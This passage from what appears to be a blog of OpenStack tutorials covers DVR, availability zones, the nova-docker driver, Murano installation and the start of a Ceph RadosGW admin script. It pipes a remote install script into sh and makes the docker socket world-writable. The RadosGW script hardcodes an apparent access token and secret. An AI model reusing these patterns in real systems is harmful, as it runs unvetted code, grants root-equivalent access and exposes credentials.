tenant_network_types = vxlan vni_ranges = 10:100 vxlan_group = 224.1.1.1 enable_security_group = True ``` Edit neutron configuration file, enable DVR and uncomment dvr\_base\_mac option ``` # vi /etc/neutron/neutron.conf router_distributed = True dvr_base_mac = fa:16:3f:00:00:00 ``` Configure l3 agent to use dvr\_snat ``` # vi /etc/neutron/l3_agent.ini agent_mode = dvr_snat ``` Restart neutron server ``` systemctl restart neutron-server ``` **Configure all Compute Nodes** Install ml2 package ``` yum install openstack-neutron-ml2 ``` Edit openvswitch agent file as below: ``` # vi /etc/neutron/plugins/ml2/openvswitch_agent.ini l2_population = True arp_responder = True enable_distributed_routing = True ``` Enable DVR and select an interface driver to be used by l3 agent ``` # vi /etc/neutron/l3_agent.ini interface_driver = neutron.agent.linux.interface.OVSInterfaceDriver agent_mode = dvr ``` Edit ml2 configuration file as below: ``` # vi /etc/neutron/plugins/ml2/ml2_conf.ini type_drivers = flat,vlan,vxlan tenant_network_types = vxlan mechanism_drivers = openvswitch,l2population vni_ranges = 10:100 vxlan_group = 224.1.1.1 enable_security_group = True ``` Start and enable metadata agent in compute nodes ``` systemctl start neutron-l3-agent neutron-metadata-agent systemctl enable neutron-l3-agent neutron-metadata-agent ``` Create an external bridge with an external IP associated on it ``` # vi /etc/sysconfig/network-scripts/ifcfg-br-ex DEVICE=br-ex DEVICETYPE=ovs TYPE=OVSBridge BOOTPROTO=static IPADDR=192.168.100.4 NETMASK=255.255.255.0 GATEWAY=192.168.100.1 ONBOOT=yes ``` Modify an unused interface connected with the same network as the IP configured with br-ex, edit the interface to be used as OVS port by br-ex ``` # vi /etc/sysconfig/network-scripts/ifcfg-eth1 DEVICE=eth1 TYPE=OVSPort DEVICETYPE=ovs OVS_BRIDGE=br-ex ONBOOT=yes ``` Restart network service to apply changes on the interfaces and openvswith-agent ``` systemctl restart network systemctl restart neutron-openvswitch-agent ``` Create an external network and a subnet on it ``` neutron net-create external_network --provider:network_type flat --provider:physical_network extnet --router:external --shared neutron subnet-create --name public_subnet --enable_dhcp=False --allocation-pool=start=192.168.100.100,end=192.168.100.150 --gateway=192.168.100.1 external_network 192.168.100.0/24 ``` Create a router and associate external network as router gateway ``` neutron router-create router1 neutron router-gateway-set router1 external_network ``` Create an internal network, a subnet and associate an interface to the router ``` neutron net-create private_network neutron subnet-create --name private_subnet private_network 10.0.1.0/24 neutron router-interface-add router1 private_subnet ``` Boot 2 instances ``` nova boot --flavor m1.tiny --image cirros --nic net-id=154da7a8-fa49-415e-9d35-c840b144a8df test1 nova boot --flavor m1.tiny --image cirros --nic net-id=154da7a8-fa49-415e-9d35-c840b144a8df test2 ``` Create 2 floating ips and associate it to instances ``` neutron floatingip-create external_network neutron floatingip-create external_network nova floating-ip-associate test1 192.168.100.101 nova floating-ip-associate test2 192.168.100.102 ``` Test if all works as expected pinging floating ips ``` # ping 192.168.100.101 # ping 192.168.100.102 ``` As you can see, in network nodes, a snat namespace is created ``` # sudo ip netns qdhcp-154da7a8-fa49-415e-9d35-c840b144a8df snat-77fef58a-6d0c-4e96-b4b6-5d8e81ebead3 ``` In compute nodes, a fip namespace per instance with floating ip associated running on the compute node are created and a qrouter namespace are created. ``` # sudo ip netns fip-4dfdabb0-d2d6-4d4a-8c00-84df834eec8b qrouter-77fef58a-6d0c-4e96-b4b6-5d8e81ebead3 ``` Best regards, Eduardo Gonzalez # OpenStack segregation with availability zones and host aggregates When a new OpenStack cloud born, usually all servers run over the same hardware and specifications, often, all servers are in the same building, room, rack, even a chassis when the cloud is in the first growth paces. After a while, workloads increase and the current hardware is not enough to process that workloads. At this point, your hardware is old and new hardware is bought. This hardware has different storage disks, CPU, RAM and so on. You passed from 10\\'s of servers to 100\\'s. DataCenter racks, rooms and buildings are too small and the growing cloud needs redundancy between cities or countries. OpenStack offers a few solutions for that purpose, called Regions, Cells, Availability Zones and Host Aggregates. | Now, we are going to focus on Availability Zones and Host Aggregates, which are the way to segregate computational workloads. * Host Aggregates: * Host Aggregates represent a logical set of properties/characteristics a group of hosts owns in the form of metadata. Imagine some of your servers have SSD disks and the other ones SATA, you can map those properties SSD/SATA to a group of hosts, when a image or flavor with the metaparameter associated is launched, Nova Scheduler will filter the available hosts with the meta parameter value and boot the instance on hosts with the desired property. Host Aggregates are managed by OpenStack admins. * Availability Zones * Availability Zones represent a logical partition of the infrastructure(not necessary but is the common use case) in the form of racks, rooms, buildings, etc. Customers can launch instances in the desired Availability Zone. Usually, Host Aggregates are mapped to Availability Zones allowing customers to use the desired set of hardware or characteristics to boot instances. At the end of this guide you will know how to: 1. Create Availability Zones and Host Aggregates. 2. Adding hosts to Host Aggregates and Availability Zones. 3. Launch instances directly to Availability Zones. 4. Configure nova scheduler for Host Aggregates usage. 5. Configure Images and Flavors for scheduling to Host Aggregates. 6. Launch instances based on flavors and image parameters. Let's start: \00/ \| Create two Host Aggregate called `"az1-ag"/"az2-ag"`, this command also, will create two Availability Zones called `"az1"/"az2"`. | By default, when a Host Aggregate is created with an Availability Zone, a metadata key called `"availability_zone=NAME_OF_AZ`" will be created. ``` # nova aggregate-create az1-ag az1 +----+--------+-------------------+-------+-------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+-------+-------------------------+ | 2 | az1-ag | az1 | | 'availability_zone=az1' | +----+--------+-------------------+-------+-------------------------+ # nova aggregate-create az2-ag az2 +----+--------+-------------------+-------+-------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+-------+-------------------------+ | 3 | az2-ag | az2 | | 'availability_zone=az2' | +----+--------+-------------------+-------+-------------------------+ ``` Add one or more compute nodes to Host Aggregates. ``` # nova aggregate-add-host 2 compute1az Host compute1az has been successfully added for aggregate 2 +----+--------+-------------------+--------------+-------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+--------------+-------------------------+ | 2 | az1-ag | az1 | 'compute1az' | 'availability_zone=az1' | +----+--------+-------------------+--------------+-------------------------+ # nova aggregate-add-host 3 compute2az Host compute2az has been successfully added for aggregate 3 +----+--------+-------------------+--------------+-------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+--------------+-------------------------+ | 3 | az2-ag | az2 | 'compute2az' | 'availability_zone=az2' | +----+--------+-------------------+--------------+-------------------------+ ``` Details about a Host Aggregate can be reviewed with: ``` # nova aggregate-details az1-ag +----+--------+-------------------+--------------+-------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+--------------+-------------------------+ | 2 | az1-ag | az1 | 'compute1az' | 'availability_zone=az1' | +----+--------+-------------------+--------------+-------------------------+ # nova aggregate-details az2-ag +----+--------+-------------------+--------------+-------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+--------------+-------------------------+ | 3 | az2-ag | az2 | 'compute2az' | 'availability_zone=az2' | +----+--------+-------------------+--------------+-------------------------+ ``` List Availability Zones and check status. ``` # nova availability-zone-list +-----------------------+----------------------------------------+ | Name | Status | +-----------------------+----------------------------------------+ | internal | available | | |- controlleraz | | | | |- nova-conductor | enabled :-) 2016-01-14T19:08:16.000000 | | | |- nova-consoleauth | enabled :-) 2016-01-14T19:08:16.000000 | | | |- nova-scheduler | enabled :-) 2016-01-14T19:08:16.000000 | | | |- nova-cert | enabled :-) 2016-01-14T19:08:13.000000 | | az2 | available | | |- compute2az | | | | |- nova-compute | enabled :-) 2016-01-14T19:08:12.000000 | | az1 | available | | |- compute1az | | | | |- nova-compute | enabled :-) 2016-01-14T19:08:12.000000 | +-----------------------+----------------------------------------+ ``` Other method you can use: ``` # nova service-list +----+------------------+--------------+----------+---------+-------+----------------------------+-----------------+ | Id | Binary | Host | Zone | Status | State | Updated_at | Disabled Reason | +----+------------------+--------------+----------+---------+-------+----------------------------+-----------------+ | 1 | nova-consoleauth | controlleraz | internal | enabled | up | 2016-01-14T19:54:36.000000 | - | | 2 | nova-scheduler | controlleraz | internal | enabled | up | 2016-01-14T19:54:36.000000 | - | | 3 | nova-conductor | controlleraz | internal | enabled | up | 2016-01-14T19:54:35.000000 | - | | 4 | nova-cert | controlleraz | internal | enabled | up | 2016-01-14T19:54:33.000000 | - | | 5 | nova-compute | compute2az | az2 | enabled | up | 2016-01-14T19:54:32.000000 | - | | 6 | nova-compute | compute1az | az1 | enabled | up | 2016-01-14T19:54:32.000000 | - | +----+------------------+--------------+----------+---------+-------+----------------------------+-----------------+ ``` Launch two instances using `"--availability-zone AZ`" option, you can even select the compute node to use, just use `"--availability-zone AZ:COMPUTE_NODE`". ``` # nova boot --flavor m1.tiny --image cirros --nic net-id=6d62149e-74d3-4e52-9813-53ad207309f4 --availability-zone az1 instanceaz1 # nova boot --flavor m1.tiny --image cirros --nic net-id=6d62149e-74d3-4e52-9813-53ad207309f4 --availability-zone az2 instanceaz2 ``` Ensure the instances are running in the desired Availability Zone. ``` # nova show instanceaz1 | grep OS-EXT-AZ | awk '{print$2":"$4}' OS-EXT-AZ:availability_zone:az1 # nova show instanceaz2 | grep OS-EXT-AZ | awk '{print$2":"$4}' OS-EXT-AZ:availability_zone:az2 ``` List Glance images. ``` # glance image-list +--------------------------------------+----------+ | ID | Name | +--------------------------------------+----------+ | a6d7a606-f725-480a-9b1b-7b3ae39b93d4 | cirros | | a6540d72-dff7-4fb1-bc64-a8ea69e65178 | imageaz1 | | 9c7e2d55-0b96-43e2-9231-88e426edb350 | imageaz2 | +--------------------------------------+----------+ ``` Update the images with custom properties, i use `"availability_zone"` because is the default meta parameter a Host Aggregate owns when is inside Availability Zones. ``` # glance image-update --property availability_zone=az1 a6540d72-dff7-4fb1-bc64-a8ea69e65178 +-------------------+--------------------------------------+ | Property | Value | +-------------------+--------------------------------------+ | availability_zone | az1 | | checksum | 133eae9fb1c98f45894a4e60d8736619 | | container_format | bare | | created_at | 2016-01-14T19:59:04Z | | disk_format | qcow2 | | id | a6540d72-dff7-4fb1-bc64-a8ea69e65178 | | min_disk | 0 | | min_ram | 0 | | name | imageaz1 | | owner | 0571c6769c3f46acb195eeb01b87ae38 | | protected | False | | size | 13200896 | | status | active | | tags | [] | | updated_at | 2016-01-14T20:13:05Z | | virtual_size | None | | visibility | private | +-------------------+--------------------------------------+ # glance image-update --property availability_zone=az2 9c7e2d55-0b96-43e2-9231-88e426edb350 +-------------------+--------------------------------------+ | Property | Value | +-------------------+--------------------------------------+ | availability_zone | az2 | | checksum | 133eae9fb1c98f45894a4e60d8736619 | | container_format | bare | | created_at | 2016-01-14T19:59:10Z | | disk_format | qcow2 | | id | 9c7e2d55-0b96-43e2-9231-88e426edb350 | | min_disk | 0 | | min_ram | 0 | | name | imageaz2 | | owner | 0571c6769c3f46acb195eeb01b87ae38 | | protected | False | | size | 13200896 | | status | active | | tags | [] | | updated_at | 2016-01-14T20:13:27Z | | virtual_size | None | | visibility | private | +-------------------+--------------------------------------+ ``` Boot two instances, now we use images with custom properties, those properties will map to Availability Zones(you can use other type of parameters mapping to Host Aggregates characteristics). ``` # nova boot --flavor m1.tiny --image imageaz1 --nic net-id=6d62149e-74d3-4e52-9813-53ad207309f4 instanceimageaz1 # nova boot --flavor m1.tiny --image imageaz2 --nic net-id=6d62149e-74d3-4e52-9813-53ad207309f4 instanceimageaz2 ``` Ensure the instances booted in the desired Availability Zone. ``` # nova show instanceimageaz1 | grep OS-EXT-AZ | awk '{print$2":"$4}' OS-EXT-AZ:availability_zone:az1 # nova show instanceimageaz2 | grep OS-EXT-AZ | awk '{print$2":"$4}' OS-EXT-AZ:availability_zone:az2 ``` \| Other method to launch instances is with parameters in flavors. | Create two flavors. ``` # nova flavor-create --is-public true flavoraz1 6 512 1 1 +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ | ID | Name | Memory_MB | Disk | Ephemeral | Swap | VCPUs | RXTX_Factor | Is_Public | +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ | 7 | flavoraz1 | 512 | 1 | 0 | | 1 | 1.0 | True | +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ # nova flavor-create --is-public true flavoraz2 7 512 1 1 +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ | ID | Name | Memory_MB | Disk | Ephemeral | Swap | VCPUs | RXTX_Factor | Is_Public | +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ | 8 | flavoraz2 | 512 | 1 | 0 | | 1 | 1.0 | True | +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ ``` Add metadata to a Host Aggregate with some characteristic property as can be fast HD or cheap HW. ``` # nova aggregate-set-metadata az1-ag fast=true Metadata has been successfully updated for aggregate 2. +----+--------+-------------------+--------------+--------------------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+--------------+--------------------------------------+ | 2 | az1-ag | az1 | 'compute1az' | 'availability_zone=az1', 'fast=true' | +----+--------+-------------------+--------------+--------------------------------------+ # nova aggregate-set-metadata az2-ag cheap=true Metadata has been successfully updated for aggregate 3. +----+--------+-------------------+--------------+---------------------------------------+ | Id | Name | Availability Zone | Hosts | Metadata | +----+--------+-------------------+--------------+---------------------------------------+ | 3 | az2-ag | az2 | 'compute2az' | 'availability_zone=az2', 'cheap=true' | +----+--------+-------------------+--------------+---------------------------------------+ ``` Update the previous created flavors with the associated metadata key with the Host Aggregate. ``` # nova flavor-key flavoraz1 set aggregate_instance_extra_specs:fast=true # nova flavor-key flavoraz2 set aggregate_instance_extra_specs:cheap=true ``` Ensure, the properties are properly created. ``` # nova flavor-show 7 | grep fast | awk '{print$4$5}' {"aggregate_instance_extra_specs:fast":"true"} # nova flavor-show 8 | grep cheap | awk '{print$4$5}' {"aggregate_instance_extra_specs:cheap":"true"} ``` By default, Nova Scheduler don't allow filtering by extra Specs inserted in flavors or images. First, ensure the following scheduler filters are allowed in Control nodes. ``` # egrep ^scheduler_default_filters /etc/nova/nova.conf scheduler_default_filters=AggregateInstanceExtraSpecsFilter,RetryFilter,AvailabilityZoneFilter,RamFilter,ComputeFilter,ComputeCapabilitiesFilter,ImagePropertiesFilter,ServerGroupAntiAffinityFilter,ServerGroupAffinityFilter ``` If a change has been done in nova.conf file, restart nova services ``` # openstack-service restart nova ``` Boot another two instances, now using custom flavors ``` # nova boot --flavor flavoraz1 --image cirros --nic net-id=6d62149e-74d3-4e52-9813-53ad207309f4 instanceflavoraz1 # nova boot --flavor flavoraz2 --image cirros --nic net-id=6d62149e-74d3-4e52-9813-53ad207309f4 instanceflavoraz2 ``` Check where the instances are running. ``` # nova show instanceflavoraz1 | grep OS-EXT-AZ | awk '{print$2":"$4}' OS-EXT-AZ:availability_zone:az1 # nova show instanceflavoraz2 | grep OS-EXT-AZ | awk '{print$2":"$4}' OS-EXT-AZ:availability_zone:az2 ``` That's all for now | Hope this guide helps. Regards # Nova Docker driver Cloud computing has evolved too fast over the last years, currently is a totally different thing as the 5 years ago cloud, today is a common thing listening words like containers, instances, microservices, queue messages on linkedin, twitter, etc. OpenStack is not a lazy community, new capabilities are daily added to the OpenStack catalog reaching more users and business needs who are discovered at the several summits and meetups over the world. One of that needs is the capability to easy create and manage docker containers. Now we have two main methods, directly launching instances as containers from nova driver or with heat/kubernetes/messos. The second method is the one with more followers, but there are some projects which are using nova driver as Solum, for this reason I'm going to show you how to configure docker as nova driver. The fist step is install docker on the compute nodes ``` curl -sSL https://get.docker.com/ | sh + sh -c 'sleep 3; yum -y -q install docker-engine' advertencia:/var/cache/yum/x86_64/7/docker-main-repo/packages/docker-engine-selinux-1.9.1-1.el7.centos.noarch.rpm: EncabezadoV4 RSA/SHA512 Signature, ID de clave 2c52609d: NOKEY No se ha instalado la llave pública de docker-engine-selinux-1.9.1-1.el7.centos.noarch.rpm Importando llave GPG 0x2C52609D: Usuarioid : "Docker Release Tool (releasedocker) " Huella : 5811 8e89 f3a9 1289 7c07 0adb f762 2157 2c52 609d Desde : https://yum.dockerproject.org/gpg Full path required for exclude: net:[4026532228]. Full path required for exclude: net:[4026532228]. Full path required for exclude: net:[4026532285]. Full path required for exclude: net:[4026532285]. Full path required for exclude: net:[4026532228]. Full path required for exclude: net:[4026532228]. Full path required for exclude: net:[4026532285]. Full path required for exclude: net:[4026532285]. ``` Add nova user to docker group, docker group will be created during docker installation ``` usermod -aG docker nova ``` Start docker service ``` sudo systemctl start docker ``` Test docker installation with the following command, a Hello from Docker message should be prompted ``` sudo docker run hello-world Unable to find image 'hello-world:latest' locally latest: Pulling from library/hello-world b901d36b6f2f: Pull complete 0a6ba66e537a: Pull complete Digest: sha256:8be990ef2aeb16dbcb9271ddfe2610fa6658d13f6dfb8bc72074cc1ca36966a7 Status: Downloaded newer image for hello-world:latest Hello from Docker. This message shows that your installation appears to be working correctly. ``` Once docker runs in a proper way, enable docker service at boot ``` sudo systemctl enable docker ln -s '/usr/lib/systemd/system/docker.service' '/etc/systemd/system/multi-user.target.wants/docker.service' ``` Give docker socket the apropiate permissions ``` chmod 666 /var/run/docker.sock ``` Restart nova-compute service ``` systemctl restart openstack-nova-compute ``` Install git and pip if not present on the system ``` sudo yum install -y git sudo easy_install pip ``` Clone docker driver for nova from OpenStack repositories ``` git clone -b stable/liberty https://github.com/openstack/nova-docker ``` Install basic requirements ``` cd nova-docker sudo pip install -r requirements.txt ``` Install docker driver ``` python setup.py install ``` Edit nova.conf and allow docker driver as compute driver ``` vi /etc/nova/nova.conf compute_driver=novadocker.virt.docker.DockerDriver ``` Create the following directory ``` mkdir /etc/nova/rootwrap.d ``` Create a file with the following content to allow setting networking in docker containers ``` vi /etc/nova/rootwrap.d/docker.filters [Filters] # nova/virt/docker/driver.py: 'ln', '-sf', '/var/run/netns/.*' ln: CommandFilter, /bin/ln, root ``` Edit glance-api.conf and allow docker as container format ``` vi /etc/glance/glance-api.conf container_formats=ami,ari,aki,bare,ovf,ova,docker ``` Restart glance-api to apply changes ``` systemctl restart openstack-glance-api ``` Pull a docker image, i use hipache as testing image ``` docker pull hipache Using default tag: latest latest: Pulling from library/hipache 0a85502c06c9: Pull complete 0998bf8fb9e9: Pull complete a6785352b25c: Pull complete e9ae3c220b23: Pull complete 84d61e35041c: Pull complete 0fd25fcc737a: Pull complete c0af65e2f918: Pull complete dc335e9e58f4: Pull complete 7245129ed8a4: Pull complete 52a015bc8761: Pull complete d38065541924: Pull complete 0b8658d6c429: Pull complete 188468e0ae8d: Pull complete 741abf992884: Pull complete Digest: sha256:7774cf9155a8cc83b6964c7ea0d655143c152debc6d11d4f6dfa918c7a7ea099 Status: Downloaded newer image for hipache:latest ``` Upload the image to glance ``` docker save hipache | openstack image create hipache --public --container-format docker --disk-format raw +------------------+------------------------------------------------------+ | Field | Value | +------------------+------------------------------------------------------+ | checksum | e93b7c1ddeb2d38419bf44aaf07cc811 | | container_format | docker | | created_at | 2015-12-18T10:06:31Z | | disk_format | raw | | file | /v2/images/7f05f7d6-88af-4d0f-adad-66ca025404fa/file | | id | 7f05f7d6-88af-4d0f-adad-66ca025404fa | | min_disk | 0 | | min_ram | 0 | | name | hipache | | owner | 74675bfffc3c4e1a9d9fb2f1388217d4 | | protected | False | | schema | /v2/schemas/image | | size | 384304640 | | status | active | | updated_at | 2015-12-18T10:07:03Z | | virtual_size | None | | visibility | public | +------------------+------------------------------------------------------+ ``` Once the image is active at glance, create a new instance, the instance won\\'t be a KVM virtual machine, now will be a docker container ``` nova boot --flavor m1.tiny --image hipache --nic net-id=a1aa6336-9ae2-4ffb-99f5-1b6d1130989c --key-name mykey test1 ``` After a while, the instance should be in ACTIVE state ``` watch nova list +--------------------------------------+-------+--------+------------+-------------+-----------------------------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+-------+--------+------------+-------------+-----------------------------+ | fb192405-4150-4c2d-98ad-316141f48cc5 | test1 | ACTIVE | - | Running | private_network=192.168.1.3 | +--------------------------------------+-------+--------+------------+-------------+-----------------------------+ ``` If all the steps worked fine, you can use docker as nova backend. Regards # Murano in RDO OpenStack manual installation Want to install and use Murano in a RDO OpenStack environment? Here are the steps to do it. The first thing we need to do, is to know what is Murano: Murano is an application catalog who gives the users the capacity to launch pre-configured s/instances/jobs/g with apps in an OpenStack infrastructure. As the final user just select an application from a catalog with a minimal configuration, and Murano will take the role to orchestrate the background jobs(create instances, configure apps, connect networks, etc) For more information about application catalog project refer to this site: At this tutorial, i will use the following s/configurations/versions/g: * Centos 7.1 * RDO Liberty release * Hosts installed with packstack/ML2 network Let's start installing some pre requisites ``` sudo yum install -y gcc python-setuptools python-devel git postgresql-devel libffi-devel openssl-devel ``` Install pip ``` sudo easy_install pip ``` Install tox and upgrade six ``` sudo pip install tox sudo pip install --upgrade six ``` Create a database for murano ``` mysql -u root -p CREATE DATABASE murano; ``` Create murano user at MySQL ``` GRANT ALL PRIVILEGES ON murano.* TO 'murano'@'localhost' IDENTIFIED BY 'MURANODB_PASS'; GRANT ALL PRIVILEGES ON murano.* TO 'murano'@'%' IDENTIFIED BY 'MURANODB_PASS'; ``` Clone murano from liberty/stable branch ``` git clone -b stable/liberty git://git.openstack.org/openstack/murano ``` Install all requirements ``` cd ~/murano/ sudo pip install -r requirements.txt ``` Install murano ``` sudo python setup.py install ``` Create sample configuration file ``` oslo-config-generator --config-file etc/oslo-config-generator/murano.conf ``` Create murano directory and copy the sample content on it ``` mkdir /etc/murano cp ~/murano/etc/murano/* /etc/murano/ ``` Rename sample configuration to murano.conf ``` mv /etc/murano/murano.conf.sample /etc/murano/murano.conf ``` \| Edit the configuration file like this, adjust the configuration as your environment needs. `vi /etc/murano/murano.conf` ``` [oslo_messaging_rabbit] rabbit_host=RABBITMQ_IP rabbit_port=5672 rabbit_hosts=RABBITMQ_IP:5672 rabbit_use_ssl=False rabbit_userid=guest rabbit_password=guest rabbit_virtual_host=/ rabbit_ha_queues=False rabbit_notification_exchange=openstack rabbit_notification_topic=notifications [database] connection = mysql://murano:MURANODB_PASS@MYSQL_IP/murano [keystone_authtoken] auth_uri=http://KEYSTONE_IP:5000/v2.0 identity_uri=http://KEYSTONE_IP:35357 admin_user=murano admin_password=MURANO_PASS admin_tenant_name=services [murano] url = http://MURANO_IP:8082 [rabbitmq] host=RABBITMQ_IP login=guest password=guest virtual_host=/ ``` Create murano user ``` openstack user create --password MURANO_PASS murano ``` Add murano user to services tenant with admin privileges ``` openstack role add --project services --user murano admin ``` Create a service for application-catalog ``` openstack service create --name muranoapi --description "Murano Project" application-catalog ``` Associate an endpoint to application-catalog service ``` openstack endpoint create --region RegionOne --publicurl 'http://MURANO_IP:8082/' --adminurl 'http://MURANO_IP:8082/' --internalurl 'http://http://MURANO_IP:8082/' MURANO_SERVICE_ID ``` Sync the database ``` murano-db-manage --config-file /etc/murano/murano.conf upgrade ``` Open a new terminal and start murano-api service ``` murano-api --config-file /etc/murano/murano.conf ``` Import base murano package ``` murano-manage --config-file /etc/murano/murano.conf import-package murano/meta/io.murano ``` In a new terminal, start murano-engine service ``` murano-engine --config-file /etc/murano/murano.conf ``` Clone stable liberty module for horizon ``` git clone -b stable/liberty git://git.openstack.org/openstack/murano-dashboard ``` Install base requirements ``` cd ~/murano-dashboard pip install -r requirements.txt ``` Install murano-dashboard module ``` sudo python setup.py install ``` Enable murano-dashboard at horizon ``` cp muranodashboard/local/_50_murano.py /usr/share/openstack-dashboard/openstack_dashboard/enabled/ ``` Restart apache to apply changes ``` systemctl restart httpd ``` Import ApacheHttpServer package ``` murano --murano-repo-url="http://storage.apps.openstack.org/" package-import io.murano.apps.apache.ApacheHttpServer ``` You can find more packages at: This will add a Debian image to glance image service, wait until the image is in active status Create a file with the following content, modify the variables with your own needs`vi object_model_patch.json` ``` [ { "op": "add", "path": "/-", "value": { "instance": { "availabilityZone": "nova", "name": "APP_NAME", "image": "GLANCE_IMAGE_ID", "keyname": "KEY_PAIR", "flavor": "FLAVOR", "assignFloatingIp": false, "?": { "type": "io.murano.resources.LinuxMuranoInstance", "id": "===id1===" } }, "name": "ApacheHttpServer", "enablePHP": true, "?": { "type": "io.murano.apps.apache.ApacheHttpServer", "id": "===id2===" } } } ] ``` Create an environment ``` murano environment-create --join-subnet-id SUBNET_ID ENVIRONMENT_NAME murano environment-create --join-subnet-id e2c5175a-d5bc-4eb7-91ba-67ac9120c64a test +----------------------------------+------+---------------------+---------------------+ | ID | Name | Created | Updated | +----------------------------------+------+---------------------+---------------------+ | 68a19d233d2d42459faf64d375d995e5 | test | 2015-12-11T13:09:57 | 2015-12-11T13:09:57 | +----------------------------------+------+---------------------+---------------------+ ``` Create a session for temporal working on the environment ``` murano environment-session-create ENVIRONMENT_ID murano environment-session-create 68a19d233d2d42459faf64d375d995e5 Created new session: +----------+----------------------------------+ | Property | Value | +----------+----------------------------------+ | id | b0f5e39a9c4c419c9ee7fdb6c92c37a6 | +----------+----------------------------------+ ``` Add the file with the apps configuration ``` murano environment-apps-edit --session-id SESSION_ID ENVIRONMENT_ID FILE_NAME murano environment-apps-edit --session-id b0f5e39a9c4c419c9ee7fdb6c92c37a6 68a19d233d2d42459faf64d375d995e5 object_model_patch.json ``` Deploy the environment ``` murano environment-deploy ENVIRONMENT_ID --session-id SESSION_ID murano environment-deploy 68a19d233d2d42459faf64d375d995e5 --session-id b0f5e39a9c4c419c9ee7fdb6c92c37a6 +-----------+-------------------------------------------------------------+ | Property | Value | +-----------+-------------------------------------------------------------+ | created | 2015-12-11T13:09:57 | | id | 68a19d233d2d42459faf64d375d995e5 | | name | test | | services | [ | | | { | | | "instance": { | | | "availabilityZone": "nova", | | | "name": "test", | | | "assignFloatingIp": false, | | | "keyname": "", | | | "flavor": "twogb", | | | "image": "9049eb0c-081e-4d56-9413-72fdc6f8d8bf", | | | "?": { | | | "type": "io.murano.resources.LinuxMuranoInstance", | | | "id": "30f5a591a58a468fbf4d7ef4755e0512" | | | } | | | }, | | | "name": "ApacheHttpServer", | | | "enablePHP": true, | | | "?": { | | | "status": "deploying", | | | "type": "io.murano.apps.apache.ApacheHttpServer", | | | "id": "98b994565c634f7e97d5f365203ce222" | | | } | | | } | | | ] | | status | deploying | | tenant_id | 3a5d50fac9a3462fa4d76b8b84677c3f | | updated | 2015-12-11T13:09:57 | | version | 0 | +-----------+-------------------------------------------------------------+ ``` Now, you can check at nova the building status of the instances ``` nova list +--------------------------------------+-----------------------------------------+--------+------------+-------------+----------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+-----------------------------------------+--------+------------+-------------+----------+ | a68cedfb-7b4c-47a6-96fb-6b64a85a8ca6 | murano-mmnpdii1ozz7r2-test-5np5cvfeoiyh | BUILD | scheduling | NOSTATE | | +--------------------------------------+-----------------------------------------+--------+------------+-------------+----------+ ``` After a while, the instance is up and running ``` nova list +--------------------------------------+-----------------------------------------+--------+------------+-------------+------------------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+-----------------------------------------+--------+------------+-------------+------------------+ | a68cedfb-7b4c-47a6-96fb-6b64a85a8ca6 | murano-mmnpdii1ozz7r2-test-5np5cvfeoiyh | ACTIVE | - | Running | private=10.0.0.8 | +--------------------------------------+-----------------------------------------+--------+------------+-------------+------------------+ ``` Once the instance is active, murano will configure the application inside, wait until the status is ready. ``` murano environment-show f392de2004e24ff7b2a08f05df0599b8 +-----------+---------------------------------------------------------------+ | Property | Value | +-----------+---------------------------------------------------------------+ | created | 2015-12-11T13:43:23 | | id | 68a19d233d2d42459faf64d375d995e5 | | name | test | | services | [ | | | { | | | "instance": { | | | "availabilityZone": "nova", | | | "openstackId": "91615340-e1d3-428e-848f-38a762004d33", | | | "name": "test", | | | "securityGroupName": null, | | | "image": "9049eb0c-081e-4d56-9413-72fdc6f8d8bf", | | | "assignFloatingIp": false, | | | "floatingIpAddress": null, | | | "keyname": "", | | | "?": { | | | "classVersion": "0.0.0", | | | "name": null, | | | "package": "io.murano", | | | "type": "io.murano.resources.LinuxMuranoInstance", | | | "_actions": {}, | | | "id": "30f5a591a58a468fbf4d7ef4755e0512" | | | }, | | | "ipAddresses": [ | | | "10.0.0.8" | | | ], | | | "flavor": "twogb", | | | "networks": { | | | "useFlatNetwork": false, | | | "primaryNetwork": null, | | | "useEnvironmentNetwork": true, | | | "customNetworks": [] | | | }, | | | "sharedIps": [] | | | }, | | | "name": "ApacheHttpServer", | | | "?": { | | | "classVersion": "0.0.0", | | | "status": "ready", | | | "name": null, | | | "package": "io.murano.apps.apache.ApacheHttpServer", | | | "type": "io.murano.apps.apache.ApacheHttpServer", | | | "_actions": {}, | | | "id": "98b994565c634f7e97d5f365203ce222" | | | }, | | | "enablePHP": true | | | } | | | ] | | status | ready | | tenant_id | 3a5d50fac9a3462fa4d76b8b84677c3f | | updated | 2015-12-11T13:47:35 | | version | 1 | +-----------+---------------------------------------------------------------+ ``` That's all you need to have up and running a Murano application catalog, for now there is no rpm package to ease the installation, so you need to install from source like we done. A thing you can do, is create systemd files to manage murano services in a easier way. Regards, Eduardo Gonzalez # Ceph RadosGW admin Ops How to use it Using RadosGW admin ops for the first time, can be a real headache , for this purpose i have made this post, where you will understand how to use this API. Let's start: For issue a request through admin ops, you need to have a signature, this signature is make it signing a header. The header must to be composed by the current date, the request type(GET/PUT/POST/DELETE) and the request itself. This header must be signed by SSL including the admin ops secret on this signature. Now , you can make a request. Sometimes, the time is not the same as the radosgw node expect, you can hack on it changing the date=$(date) value with: If your host has two hours more than the radosgw node, substract this two hours under $(( 10#$i-2)) variable, where 2 is the two hours to substract. ``` date=$(for i in $(date "+%H") ; do date "+%a, %d %b %Y $(( 10#$i-2 )):%M:%S +0000" ; done) ``` Examples: Create a user named egonzalez ``` #!/bin/bash token=U2JCD4ZG4D1XJOI5XNF4 ## USER_TOKEN secret=+IFgr7POzLWS0i3hQnC+dd3DOAZObHoY5NYm6m3b ## USER_SECRET query=$1 name=$2 